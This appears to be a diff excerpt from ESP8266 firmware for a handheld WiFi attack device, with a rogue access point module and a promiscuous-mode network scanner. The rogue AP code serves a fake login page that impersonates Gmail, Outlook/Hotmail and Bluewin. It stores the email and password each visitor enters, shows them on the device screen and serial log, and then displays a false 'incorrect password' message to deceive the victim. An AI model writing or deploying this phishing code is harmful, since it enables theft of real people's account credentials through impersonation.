// Keep logs until explicitly cleared or next start
// captured_creds_count = 0;
// next_log_slot = 0;
// view_log_scroll_offset = 0;
// memset(captured_credentials_log, 0, sizeof(captured_credentials_log));
Serial.println("Rogue AP Stopped.");
// Only go back to IDLE if we weren't already stopping/idle
if (previousState != ROGUE_AP_STATE_IDLE && previousState != ROGUE_AP_STATE_STOPPING) {
currentRogueAPState = ROGUE_AP_STATE_IDLE;
}
needsRedraw = true;
}
// --- Main Update Loop ---
void rogue_ap_update() {
if (currentRogueAPState == ROGUE_AP_STATE_RUNNING) {
// Process network requests
dnsServer_rogue.processNextRequest();
webServer_rogue.handleClient();
// Update UI elements (animation/capture alert)
unsigned long currentMillis = millis();
// Check if newly captured data alert needs reset
if (new_capture_flag && (currentMillis - capture_alert_start_time > CAPTURE_ALERT_DURATION)) {
new_capture_flag = false;
needsRedraw = true; // Redraw to remove alert effect
}
// Update waiting animation if no captures yet
if (captured_creds_count == 0) {
if (currentMillis - last_anim_time_rogue > ROGUE_ANIM_INTERVAL) {
last_anim_time_rogue = currentMillis;
switch (waiting_anim_char_rogue) {
case '|': waiting_anim_char_rogue = '/'; break;
case '/': waiting_anim_char_rogue = '-'; break;
case '-': waiting_anim_char_rogue = '\\'; break;
case '\\': waiting_anim_char_rogue = '|'; break;
default: waiting_anim_char_rogue = '|';
}
needsRedraw = true;
}
}
// No blinking effect for logged count in this version yet.
}
// No other background tasks needed for now
yield(); // Basic yield
}
// --- Captive Portal HTML ---
const char* captivePortalHTML_Rogue = R"rawliteral(
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Network Login</title>
<style>
html { height: 100%; }
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
background-color: #e7f1ff; /* Light blue background */
margin: 0;
padding: 20px;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
box-sizing: border-box;
}
.container {
background-color: #ffffff;
padding: 30px; /* Increased padding */
border-radius: 8px;
border: 1px solid #dee2e6; /* Subtle border */
box-shadow: 0 4px 12px rgba(0,0,0,0.08); /* Slightly softer shadow */
width: 100%;
max-width: 400px;
box-sizing: border-box;
}
h2 {
text-align: center;
color: #343a40; /* Darker grey */
margin-bottom: 15px; /* Adjusted margin */
font-size: 1.5em;
font-weight: 500;
}
h3 {
text-align: center;
color: #6c757d; /* Muted grey */
margin-top: 0;
margin-bottom: 25px; /* Increased margin */
font-weight: 400;
font-size: 0.95em;
line-height: 1.4;
}
label {
display: block;
margin-bottom: 8px; /* Increased margin */
color: #495057; /* Darker label color */
font-weight: 500; /* Slightly bolder label */
font-size: 0.9em;
}
input[type=email], input[type=password] {
width: 100%;
padding: 12px 15px; /* Adjusted padding */
margin-bottom: 15px; /* Increased margin */
border: 1px solid #ced4da; /* Standard border color */
border-radius: 4px;
box-sizing: border-box;
font-size: 1em;
transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; /* Smooth transition */
box-shadow: inset 0 1px 2px rgba(0,0,0,0.075);
}
input[type=email]:focus, input[type=password]:focus {
border-color: #86b7fe; /* Highlight border on focus */
outline: 0;
box-shadow: 0 0 0 0.2rem rgba(13, 110, 253, 0.25); /* Subtle glow on focus */
}
button {
background-color: #0d6efd; /* Updated Bootstrap blue */
color: white;
padding: 12px 20px;
border: none;
border-radius: 5px; /* Slightly more rounded */
cursor: pointer;
width: 100%;
font-size: 1.05em; /* Slightly larger button text */
font-weight: 500;
margin-top: 15px; /* Added margin */
transition: background-color 0.2s ease;
}
button:hover {
background-color: #0b5ed7; /* Darker blue on hover */
}
.error {
color: #dc3545; /* Standard error red */
background-color: #f8d7da; /* Light red background for error */
border: 1px solid #f5c2c7;
border-radius: 4px;
padding: 10px 15px;
text-align: center;
margin-bottom: 20px;
font-weight: 500; /* Bolder error text */
font-size: 0.9em;
}
</style>
</head>
<body>
<div class="container">
<h2>Secure Login Required</h2>
<h3>Gmail, Outlook/Hotmail, and Bluewin (Swisscom)</h3>
<p class="error">%s</p> <!-- Error message placeholder -->
<form action="/login" method="POST">
<label for="username">Username or Email</label>
<input type="email" id="username" name="username" placeholder="Enter your email address" required>
<label for="password">Password</label>
<input type="password" id="password" name="password" placeholder="Enter your password" required>
<button type="submit">Connect</button>
</form>
</div>
</body>
</html>
)rawliteral";
// --- Helper to Send HTML (Chunked, similar to MitM) ---
void sendCaptivePortalHTML_Rogue(const char* error_message) {
const char* errorPlaceholderPos = strstr(captivePortalHTML_Rogue, "%s");
if (!errorPlaceholderPos) {
Serial.println("Rogue AP Web Helper: Error! Placeholder not found in HTML.");
webServer_rogue.send(500, "text/plain", "Internal Server Error: Portal template invalid.");
return;
}
size_t part1Len = errorPlaceholderPos - captivePortalHTML_Rogue;
size_t errorLen = strlen(error_message);
size_t part2Len = strlen(errorPlaceholderPos + 2);
size_t totalLen = part1Len + errorLen + part2Len;
webServer_rogue.setContentLength(totalLen);
webServer_rogue.send(200, "text/html", ""); // Send headers
webServer_rogue.sendContent_P(captivePortalHTML_Rogue, part1Len);
webServer_rogue.sendContent(error_message, errorLen);
webServer_rogue.sendContent_P(errorPlaceholderPos + 2, part2Len);
webServer_rogue.client().stop(); // Close connection
Serial.println("Rogue AP Web Helper: Finished sending chunked response.");
}
// --- Web Server Handlers ---
void handleRoot_Rogue() {
Serial.println("Rogue AP Web: Serving root page.");
// In this version, we always show the login page.
// Could add logic to show an error message on subsequent visits.
sendCaptivePortalHTML_Rogue(""); // Send with empty error message initially
}
void handleLogin_Rogue() {
Serial.println("Rogue AP Web: Received POST to /login");
// Check if we have space to log more credentials
if (captured_creds_count >= MAX_ROGUE_LOGS) {
Serial.println("Rogue AP Web: Log full, ignoring new submission.");
// Redirect back with an error or generic message
sendCaptivePortalHTML_Rogue("Login temporarily unavailable. Please try again later.");
return;
}
// Capture credentials
RogueCapturedCredentials& current_log = captured_credentials_log[next_log_slot];
memset(&current_log, 0, sizeof(RogueCapturedCredentials)); // Clear slot first
if (webServer_rogue.hasArg("username")) strncpy(current_log.username, webServer_rogue.arg("username").c_str(), ROGUE_MAX_FIELD_LEN);
if (webServer_rogue.hasArg("password")) strncpy(current_log.password, webServer_rogue.arg("password").c_str(), ROGUE_MAX_FIELD_LEN);
current_log.data_present = true; // Mark slot as containing data
Serial.println("Rogue AP Web: Credentials captured:");
Serial.printf(" User: %s \n Pass: %s\n", current_log.username, current_log.password);
// Update log tracking
next_log_slot = (next_log_slot + 1) % MAX_ROGUE_LOGS;
captured_creds_count = min(captured_creds_count + 1, MAX_ROGUE_LOGS); // Increment count, cap at max
// Trigger UI alert
new_capture_flag = true;
capture_alert_start_time = millis();
needsRedraw = true;
// Send a generic "incorrect password" or "connecting" message and redirect
// This makes the user think they mistyped or are being connected
sendCaptivePortalHTML_Rogue("Incorrect password or connection error. Please try again.");
// Alternatively, redirect back to root immediately:
// webServer_rogue.sendHeader("Location", "/", true);
// webServer_rogue.send(302, "text/plain", "Redirecting...");
}
void handleNotFound_Rogue() {
Serial.println("Rogue AP Web: handleNotFound triggered, redirecting to root.");
webServer_rogue.sendHeader("Location", "/", true); // Redirect to root (captive portal trigger)
webServer_rogue.send(302, "text/plain", "");
}
// --- Draw Rogue AP UI ---
void rogue_ap_draw() {
oled.setFont(u8g2_font_6x10_tf); // Base font
switch (currentRogueAPState) {
case ROGUE_AP_STATE_IDLE:
oled.drawStr(0, 25, "Rogue AP Ready");
oled.setFont(u8g2_font_5x7_tf); // Smaller font for prompt
oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Select SSID");
break;
case ROGUE_AP_STATE_SELECT_SSID:
{
// oled.drawStr(0, 20, "Select Rogue SSID:"); // Title position
int yPos = 22; // Start list higher
int line_height = 9; // Smaller line height for 5x7 font
const int items_per_page = 4; // Show 4 SSIDs
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for list
for (int i = 0; i < items_per_page; ++i) {
int current_item_index = display_ssid_offset + i;
if (current_item_index >= ROGUE_AP_SSID_COUNT) break;
char buffer[40];
char select_char = (current_item_index == selected_ssid_index) ? '>' : ' ';
snprintf(buffer, sizeof(buffer), "%c %s", select_char, rogue_ap_ssid_options[current_item_index]);
oled.drawStr(0, yPos + (i * line_height), buffer);
}
// Draw scroll indicators
if (ROGUE_AP_SSID_COUNT > items_per_page) {
if (display_ssid_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up arrow (Adjust Y)
if (display_ssid_offset + items_per_page < ROGUE_AP_SSID_COUNT) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down arrow
}
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Scroll L:Start AP");
}
break;
case ROGUE_AP_STATE_STARTING:
oled.drawStr(0, 35, "Starting Rogue AP...");
break;
case ROGUE_AP_STATE_RUNNING:
{
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for the title
oled.drawStr(0, 22, "Rogue AP Active:"); // Moved down slightly
oled.setFont(u8g2_font_6x10_tf); // Set back to default font
oled.drawStr(4, 32, active_ssid); // Show active SSID
char status_buffer[25];
char footer_buffer[25];
bool show_alert = new_capture_flag && (millis() - capture_alert_start_time < CAPTURE_ALERT_DURATION);
if (captured_creds_count > 0) {
snprintf(status_buffer, sizeof(status_buffer), "Captured: %d", captured_creds_count);
snprintf(footer_buffer, sizeof(footer_buffer), "S:View Logs L:Stop");
} else {
snprintf(status_buffer, sizeof(status_buffer), "Waiting... %c", waiting_anim_char_rogue);
snprintf(footer_buffer, sizeof(footer_buffer), "LONG: Stop");
}
int status_y = 46;
if (show_alert) {
// Simple invert effect for capture alert
int text_width = oled.getStrWidth(status_buffer);
oled.setDrawColor(1); // Set color to foreground (white)
oled.drawBox(0, status_y - 10 + 1, text_width + 2, 10 + 1); // Draw white box behind text area
oled.setDrawColor(0); // Set color to background (black) for text
oled.drawStr(1, status_y, status_buffer); // Draw text slightly offset
oled.setDrawColor(1); // Reset draw color
} else {
oled.drawStr(0, status_y, status_buffer); // Draw normally
}
oled.setFont(u8g2_font_5x7_tf); // Smaller font for footer
oled.drawStr(0, SCREEN_HEIGHT - 1, footer_buffer);
}
break;
case ROGUE_AP_STATE_VIEW_LOGS:
{
// --- Draw Title Line ---
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for title elements
int yPos = 22; // Starting Y for the title line
const char* titleText = "Captured Creds:";
oled.drawStr(0, yPos, titleText);
int titleWidth = oled.getStrWidth(titleText);
if (captured_creds_count > 0) {
char logCountBuffer[15];
snprintf(logCountBuffer, sizeof(logCountBuffer), " Log %d/%d",
view_log_scroll_offset + 1,
captured_creds_count);
oled.drawStr(titleWidth + 2, yPos, logCountBuffer); // Draw next to title
}
yPos += 10; // Move down for next content line (adjust gap as needed)
// --- Draw Log Content ---
if (captured_creds_count == 0) {
oled.setFont(u8g2_font_6x10_tf); // Back to default for message
oled.drawStr(10, 40, "[No Logs]");
} else {
oled.setFont(u8g2_font_5x7_tf); // Keep smaller font for logs
int line_height = 8; // Height for 5x7 font
// Draw scroll indicators (position adjusted slightly)
if (captured_creds_count > 1) {
if (view_log_scroll_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up arrow
if (view_log_scroll_offset < captured_creds_count - 1) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down arrow
}
// Calculate actual index
int start_idx = (captured_creds_count <= MAX_ROGUE_LOGS) ? 0 : next_log_slot;
int actual_idx = (start_idx + view_log_scroll_offset) % MAX_ROGUE_LOGS;
const RogueCapturedCredentials& log = captured_credentials_log[actual_idx];
if (log.data_present) {
char userBuffer[ROGUE_MAX_FIELD_LEN + 15];
snprintf(userBuffer, sizeof(userBuffer), "User: %s", log.username);
oled.drawStr(2, yPos, userBuffer); yPos += line_height;
// Draw Password with wrapping
const char* passLabel = "Pass: ";
oled.drawStr(2, yPos, passLabel); // Draw label
int passLabelWidth = oled.getStrWidth(passLabel);
int passXOffset = 2 + passLabelWidth + 2; // X offset for password value
int maxCharsPerLine = 19; // Max chars before wrap
int passLen = strlen(log.password);
char passChunkBuffer[maxCharsPerLine + 1];
if (passLen > maxCharsPerLine) {
// First line
strncpy(passChunkBuffer, log.password, maxCharsPerLine);
passChunkBuffer[maxCharsPerLine] = '\0';
oled.drawStr(passXOffset, yPos, passChunkBuffer);
yPos += line_height; // Move to next line
// Second line (remaining chars)
strncpy(passChunkBuffer, log.password + maxCharsPerLine, maxCharsPerLine);
passChunkBuffer[maxCharsPerLine] = '\0'; // Ensure termination even if passLen > 2*maxCharsPerLine
oled.drawStr(passXOffset, yPos, passChunkBuffer); // Draw indented
} else {
// No wrapping needed
oled.drawStr(passXOffset, yPos, log.password);
}
yPos += line_height + 2; // Extra gap after password block
} else {
oled.setFont(u8g2_font_6x10_tf); // Back to default font for message
oled.drawStr(10, yPos + 5, "[Log Empty]"); // Adjusted position
}
}
oled.setFont(u8g2_font_5x7_tf); // Ensure footer uses small font
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Next Log L:Back");
}
break;
case ROGUE_AP_STATE_STOPPING:
oled.drawStr(0, 35, "Stopping Rogue AP...");
break;
default:
oled.drawStr(0, 35, "Rogue AP: Unknown State");
break;
}
}
// --- Handle Button Input ---
void rogue_ap_handle_input(ButtonPressType pressType) {
switch (currentRogueAPState) {
case ROGUE_AP_STATE_IDLE:
if (pressType == ButtonPressType::LONG_PRESS) {
currentRogueAPState = ROGUE_AP_STATE_SELECT_SSID;
selected_ssid_index = 0; // Reset selection
display_ssid_offset = 0;
needsRedraw = true;
}
break;
case ROGUE_AP_STATE_SELECT_SSID:
{
const int items_per_page = 4; // Match drawing
if (pressType == ButtonPressType::SHORT_PRESS) {
// Scroll down through SSIDs
selected_ssid_index = (selected_ssid_index + 1) % ROGUE_AP_SSID_COUNT;
// Adjust display offset
if (selected_ssid_index < display_ssid_offset) display_ssid_offset = selected_ssid_index; // Wrap top
else if (selected_ssid_index >= display_ssid_offset + items_per_page) display_ssid_offset = selected_ssid_index - items_per_page + 1; // Scroll down
needsRedraw = true;
} else if (pressType == ButtonPressType::LONG_PRESS) {
// Select SSID and attempt to start
rogue_ap_start();
// State changes handled within rogue_ap_start()
}
}
break;
case ROGUE_AP_STATE_RUNNING:
if (pressType == ButtonPressType::LONG_PRESS) {
rogue_ap_stop();
} else if (pressType == ButtonPressType::SHORT_PRESS) {
// Enter log view only if logs exist
if (captured_creds_count > 0) {
currentRogueAPState = ROGUE_AP_STATE_VIEW_LOGS;
view_log_scroll_offset = 0; // Start at the first log
needsRedraw = true;
}
}
break;
case ROGUE_AP_STATE_VIEW_LOGS:
if (pressType == ButtonPressType::LONG_PRESS) {
currentRogueAPState = ROGUE_AP_STATE_RUNNING; // Go back to running screen
needsRedraw = true;
} else if (pressType == ButtonPressType::SHORT_PRESS) {
// Scroll to the next log entry
if (captured_creds_count > 1) { // Only scroll if more than one
view_log_scroll_offset = (view_log_scroll_offset + 1) % captured_creds_count;
needsRedraw = true;
}
}
break;
case ROGUE_AP_STATE_STARTING:
case ROGUE_AP_STATE_STOPPING:
// Ignore input during transitions
break;
default: // Go back to idle on long press from unknown state
if (pressType == ButtonPressType::LONG_PRESS) {
currentRogueAPState = ROGUE_AP_STATE_IDLE;
needsRedraw = true;
}
break;
}
}

45
src/rogue_ap.h Normal file
View File

@ -0,0 +1,45 @@
#ifndef ROGUE_AP_H
#define ROGUE_AP_H
#include <Arduino.h>
#include <ESP8266WiFi.h>
#include "ui.h" // For ButtonPressType, UIState
// --- Rogue AP States ---
typedef enum {
ROGUE_AP_STATE_IDLE, // Initial state, ready to select SSID
ROGUE_AP_STATE_SELECT_SSID, // User is selecting from the predefined list
ROGUE_AP_STATE_STARTING, // Setting up the AP and servers
ROGUE_AP_STATE_RUNNING, // AP is active, waiting for connections/credentials
ROGUE_AP_STATE_VIEW_LOGS, // Displaying captured credentials
ROGUE_AP_STATE_STOPPING // Shutting down the AP and servers
} RogueAPState;
// --- Constants ---
#define ROGUE_AP_SSID_COUNT 17
#define MAX_ROGUE_LOGS 5 // Max number of credential sets to store
#define ROGUE_MAX_FIELD_LEN 64 // Max length for username/password fields
// --- Structure for Captured Credentials ---
typedef struct {
char username[ROGUE_MAX_FIELD_LEN + 1]; // Single username/email field
char password[ROGUE_MAX_FIELD_LEN + 1]; // Single password field
bool data_present; // Flag to check if this entry contains captured data
} RogueCapturedCredentials;
// --- External Variables (Defined in .cpp) ---
extern const char* rogue_ap_ssid_options[ROGUE_AP_SSID_COUNT];
extern RogueAPState currentRogueAPState;
extern RogueCapturedCredentials captured_credentials_log[MAX_ROGUE_LOGS];
extern int captured_creds_count; // How many sets have been captured
// --- Function Declarations ---
void rogue_ap_init();
void rogue_ap_start(); // Function to initiate the AP start sequence
void rogue_ap_stop();
void rogue_ap_update();
void rogue_ap_draw();
void rogue_ap_handle_input(ButtonPressType pressType);
#endif // ROGUE_AP_H

412
src/scanner.cpp Normal file
View File

@ -0,0 +1,412 @@
#include "scanner.h"
#include "config.h"
#include "utils.h"
#include "ui.h"
#include <vector>
#include <U8g2lib.h>
// --- Global Variable Definitions ---
AccessPointInfo ap_list[MAX_APS];
uint8_t ap_count = 0;
StationInfo sta_list[MAX_STAS];
uint8_t sta_count = 0;
uint8_t current_channel = DEFAULT_WIFI_CHANNEL;
bool scanner_active = false;
static unsigned long last_channel_hop_time = 0;
static int selected_list_index = 0;
static int display_offset = 0;
// --- External UI Elements ---
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
extern bool needsRedraw;
// --- Initialization ---
void scanner_init() {
Serial.println("Scanner Initialized.");
ap_count = 0;
sta_count = 0;
scanner_active = false;
selected_list_index = 0;
display_offset = 0;
needsRedraw = true;
}
// --- Stop Scanner ---
void scanner_stop() {
if (scanner_active) {
Serial.println("Stopping Scanner...");
wifi_promiscuous_enable(0);
scanner_active = false;
Serial.println("Scanner Stopped.");
needsRedraw = true;
} else {
Serial.println("Scanner already stopped.");
}
}
// --- Main Update Loop ---
void scanner_update() {
if (!scanner_active) {
Serial.println("Scanner Update: Enabling promiscuous mode.");
wifi_set_opmode(STATION_MODE);
wifi_set_promiscuous_rx_cb(packet_capture_callback);
wifi_promiscuous_enable(1);
scanner_set_channel(current_channel);
scanner_active = true;
last_channel_hop_time = millis();
}
unsigned long current_time = millis();
if (current_time - last_channel_hop_time > SCAN_CHANNEL_HOP_INTERVAL) {
current_channel++;
if (current_channel > 13) {
current_channel = 1;
}
scanner_set_channel(current_channel);
last_channel_hop_time = current_time;
needsRedraw = true;
}
}
// --- Set WiFi Channel ---
void scanner_set_channel(uint8_t channel) {
if (channel < 1 || channel > 14) {
Serial.printf("Invalid channel: %d\n", channel);
return;
}
current_channel = channel;
wifi_set_channel(current_channel);
}
// --- Packet Capture Callback (Called by SDK) ---
void packet_capture_callback(uint8_t *buf, uint16_t len) {
if (!scanner_active || buf == nullptr || len <= sizeof(wifi_promiscuous_pkt_t)) {
return;
}
wifi_promiscuous_pkt_t *packet = (wifi_promiscuous_pkt_t*)buf;
process_wifi_packet(packet->payload, len - sizeof(wifi_pkt_rx_ctrl_t));
}
// --- Process Captured WiFi Packet ---
void process_wifi_packet(uint8_t *payload, uint16_t payload_len) {
if (payload_len < sizeof(mac_header_t)) {
return;
}
mac_header_t *header = (mac_header_t*)payload;
wifi_promiscuous_pkt_t *packet = nullptr;
if (payload >= (uint8_t*)sizeof(wifi_pkt_rx_ctrl_t)) {
packet = (wifi_promiscuous_pkt_t*)(payload - sizeof(wifi_pkt_rx_ctrl_t));
} else {
Serial.println("ERROR: Cannot calculate packet pointer!");
return;
}
if (packet == nullptr) {
Serial.println("ERROR: Invalid packet pointer calculated!");
return;
}
int8_t rssi = packet->rx_ctrl.rssi;
uint8_t channel = packet->rx_ctrl.channel;
uint8_t type = header->frame_control.type;
uint8_t subtype = header->frame_control.subtype;
// Identify APs (Beacons and Probe Responses)
if (type == 0 && (subtype == 0x08 || subtype == 0x05)) {
uint16_t expected_min_len = sizeof(mac_header_t) + sizeof(beacon_probe_fixed_params_t);
if (payload_len >= expected_min_len) {
beacon_probe_fixed_params_t *params = (beacon_probe_fixed_params_t*)(payload + sizeof(mac_header_t));
uint8_t* tagged_params_start = payload + sizeof(mac_header_t) + sizeof(beacon_probe_fixed_params_t);
uint16_t tagged_params_len = payload_len - expected_min_len;
add_or_update_ap(header, params, rssi, channel, tagged_params_start, tagged_params_len);
needsRedraw = true;
} else {
}
}
// Identify Stations (From various frame types)
else {
if (header->addr2[0] != 0xFF && header->addr2[0] != 0x01) {
uint8_t* bssid = nullptr;
if (header->frame_control.flags & 0x01) {
bssid = header->addr1;
} else if (header->frame_control.flags & 0x02) {
bssid = header->addr3;
} else {
if (header->addr3[0] != 0xFF && header->addr3[0] != 0x01) {
bssid = header->addr3;
}
}
if (bssid && bssid[0] != 0xFF && bssid[0] != 0x01 && bssid[0] != 0x00) {
add_or_update_sta(header->addr2, bssid, rssi);
needsRedraw = true;
}
}
}
}
// --- Find Existing AP by BSSID ---
int find_ap(const uint8_t* bssid) {
for (int i = 0; i < ap_count; ++i) {
if (memcmp(ap_list[i].bssid, bssid, 6) == 0) {
return i;
}
}
return -1;
}
// --- Find Existing Station by MAC ---
int find_sta(const uint8_t* mac) {
for (int i = 0; i < sta_count; ++i) {
if (memcmp(sta_list[i].mac, mac, 6) == 0) {
return i;
}
}
return -1;
}
// --- Add or Update Access Point Info ---
void add_or_update_ap(const mac_header_t* header, const beacon_probe_fixed_params_t* params, int8_t rssi, uint8_t channel, const uint8_t* tagged_params, uint16_t tagged_params_len) {
const uint8_t* bssid = header->addr3;
int index = find_ap(bssid);
if (index == -1) {
if (ap_count < MAX_APS) {
index = ap_count;
memcpy(ap_list[index].bssid, bssid, 6);
ap_list[index].ssid[0] = '\0';
ap_list[index].packet_count = 0;
ap_count++;
Serial.printf("New AP: %s (RSSI: %d, Ch: %d)\n", macToString(bssid).c_str(), rssi, channel);
} else {
return;
}
} else {
}
ap_list[index].rssi = rssi;
ap_list[index].channel = channel;
ap_list[index].last_seen = millis();
ap_list[index].packet_count++;
ap_list[index].selected = false;
// Parse Tagged Parameters for SSID
uint16_t pos = 0;
bool ssid_found = false;
while (pos + 1 < tagged_params_len) {
uint8_t tag_num = tagged_params[pos];
uint8_t tag_len = tagged_params[pos + 1];
if (pos + 2 + tag_len > tagged_params_len) {
break;
}
if (tag_num == 0) {
ssid_found = true;
if (tag_len == 0) {
ap_list[index].ssid[0] = '\0';
} else {
uint16_t copy_len = (tag_len >= MAX_SSID_LEN) ? (MAX_SSID_LEN - 1) : tag_len;
if (pos + 2 + copy_len <= tagged_params_len) {
memcpy(ap_list[index].ssid, tagged_params + pos + 2, copy_len);
ap_list[index].ssid[copy_len] = '\0';
} else {
ap_list[index].ssid[0] = '\0';
}
}
}
pos += 2 + tag_len;
}
if (!ssid_found) {
ap_list[index].ssid[0] = '\0';
}
ap_list[index].encryption = get_encryption_type(params->capability_info, tagged_params, tagged_params_len);
}
// --- Add or Update Station Info ---
void add_or_update_sta(const uint8_t* mac, const uint8_t* bssid, int8_t rssi) {
int index = find_sta(mac);
if (index == -1) {
if (sta_count < MAX_STAS) {
index = sta_count;
memcpy(sta_list[index].mac, mac, 6);
sta_list[index].packet_count = 0;
sta_count++;
Serial.printf("New STA: %s (AP: %s)\n", macToString(mac).c_str(), macToString(bssid).c_str());
} else {
return;
}
}
sta_list[index].rssi = rssi;
sta_list[index].last_seen = millis();
sta_list[index].packet_count++;
sta_list[index].selected = false;
memcpy(sta_list[index].bssid_ap, bssid, 6);
}
// --- Determine Encryption Type ---
EncryptionType get_encryption_type(const uint16_t capabilities, const uint8_t* tagged_params, uint16_t tagged_params_len) {
bool privacy_bit = capabilities & 0x0010;
if (!privacy_bit) {
return EncryptionType::OPEN;
}
bool found_wpa = false;
bool found_rsn = false;
uint16_t pos = 0;
while (pos + 1 < tagged_params_len) {
uint8_t tag_num = tagged_params[pos];
uint8_t tag_len = tagged_params[pos + 1];
if (pos + 2 + tag_len > tagged_params_len) {
break;
}
if (tag_num == 0xDD && tag_len >= 4) {
if (tagged_params[pos + 2] == 0x00 && tagged_params[pos + 3] == 0x50 &&
tagged_params[pos + 4] == 0xF2 && tagged_params[pos + 5] == 0x01) {
found_wpa = true;
}
}
else if (tag_num == 0x30 && tag_len >= 2) {
found_rsn = true;
}
pos += 2 + tag_len;
}
if (found_rsn && found_wpa) {
return EncryptionType::WPA_WPA2_PSK;
}
if (found_rsn) {
return EncryptionType::WPA2_PSK;
}
if (found_wpa) {
return EncryptionType::WPA_PSK;
}
return EncryptionType::WEP;
}
// --- Convert Encryption Enum to String ---
String encryption_to_string(EncryptionType enc) {
switch (enc) {
case EncryptionType::OPEN: return "Open";
case EncryptionType::WEP: return "WEP";
case EncryptionType::WPA_PSK: return "WPA";
case EncryptionType::WPA2_PSK: return "WPA2";
case EncryptionType::WPA_WPA2_PSK: return "WPA/2";
case EncryptionType::WPA2_ENTERPRISE: return "WPA2-E";
default: return "Unkn";
}
}
// --- Draw Scanner UI ---
void scanner_draw() {
oled.setFont(u8g2_font_5x7_tf);
char buffer[40];
snprintf(buffer, sizeof(buffer), "Ch:%d APs:%d STAs:%d", current_channel, ap_count, sta_count);
oled.drawStr(0, 23, buffer);
oled.drawHLine(0, 25, SCREEN_WIDTH);
int yPos = 33;
int line_height = 8;
int total_items = ap_count + sta_count;
const int lines_per_item = 2;
const int gap_between_items = 1;
const int item_block_height = (line_height * lines_per_item) + gap_between_items;
const int items_to_display = 2;
for (int i = 0; i < items_to_display; ++i) {
int current_item_index = display_offset + i;
if (current_item_index >= total_items) break;
bool is_selected = (current_item_index == selected_list_index);
const char* select_char = is_selected ? ">" : " ";
if (current_item_index < ap_count) {
AccessPointInfo* ap = &ap_list[current_item_index];
ap->selected = is_selected;
String encStr = encryption_to_string(ap->encryption);
snprintf(buffer, sizeof(buffer), "%s%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str());
oled.drawStr(0, yPos, buffer);
snprintf(buffer, sizeof(buffer), " %s R:%d", macToString(ap->bssid).c_str(), ap->rssi);
oled.drawStr(0, yPos + line_height, buffer);
} else {
int sta_index = current_item_index - ap_count;
StationInfo* sta = &sta_list[sta_index];
sta->selected = is_selected;
snprintf(buffer, sizeof(buffer), "%s%s R:%d", select_char, macToString(sta->mac).c_str(), sta->rssi);
oled.drawStr(0, yPos, buffer);
if (sta->bssid_ap[0] != 0 || sta->bssid_ap[1] != 0) {
snprintf(buffer, sizeof(buffer), " AP: %s", macToString(sta->bssid_ap).c_str());
oled.drawStr(0, yPos + line_height, buffer);
} else {
oled.drawStr(0, yPos + line_height, " AP: [Scanning...]");
}
}
yPos += item_block_height;
}
if (total_items > items_to_display) {
if (display_offset > 0) {
oled.drawTriangle(SCREEN_WIDTH - 6, 27, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31);
}
if (display_offset + items_to_display < total_items) {
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 1, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 5, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 5);
}
}
}
// --- Handle Button Input for Scanner Mode ---
void scanner_handle_input(ButtonPressType pressType) {
if (!scanner_active) return;
if (pressType != ButtonPressType::NO_PRESS) {
}
int total_items = ap_count + sta_count;
if (total_items == 0 && pressType != ButtonPressType::LONG_PRESS) return;
const int items_per_page = 2;
if (pressType == ButtonPressType::SHORT_PRESS) {
selected_list_index = (selected_list_index + 1) % total_items;
if (selected_list_index < display_offset) {
display_offset = selected_list_index;
} else if (selected_list_index >= display_offset + items_per_page) {
display_offset = selected_list_index - items_per_page + 1;
if (display_offset > total_items - items_per_page) {
display_offset = total_items - items_per_page;
}
}
if (display_offset < 0) display_offset = 0;
needsRedraw = true;
} else if (pressType == ButtonPressType::LONG_PRESS) {
scanner_stop();
currentState = UIState::MAIN_MENU;
currentMenuIndex = 0;
needsRedraw = true;
}
}

148
src/scanner.h Normal file
View File

@ -0,0 +1,148 @@
#ifndef SCANNER_H
#define SCANNER_H
#include <Arduino.h>
#include <ESP8266WiFi.h> // For WiFi functions and types
#include "config.h" // Include config for other potential settings
#include "ui.h" // For ButtonPressType
#include <vector>
// --- Constants ---
#define MAX_APS 50 // Maximum number of APs to store
#define MAX_STAS 30 // Maximum number of STAs to store
#define MAX_SSID_LEN 32
#define SCAN_CHANNEL_HOP_INTERVAL 500 // ms
#define MAX_DISPLAY_LINES 4 // Number of APs/STAs to show on screen at once
#define SCAN_CHANNEL_TIME 150 // ms per channel
#define SCAN_PROBE_DELAY 10 // ms between probe requests
// --- WiFi Packet Structures (Simplified) ---
// Structure for the basic 802.11 frame control field
typedef struct {
uint8_t protocol_version : 2;
uint8_t type : 2;
uint8_t subtype : 4;
uint8_t flags;
} __attribute__((packed)) frame_control_t;
// Structure for the standard 802.11 MAC header (adjust based on frame type)
typedef struct {
frame_control_t frame_control;
uint16_t duration_id;
uint8_t addr1[6]; // Receiver MAC
uint8_t addr2[6]; // Transmitter MAC
uint8_t addr3[6]; // BSSID or Source/Dest MAC depending on frame type
uint16_t seq_ctrl;
// Optional fields like addr4, QoS control, HT control follow
} __attribute__((packed)) mac_header_t;
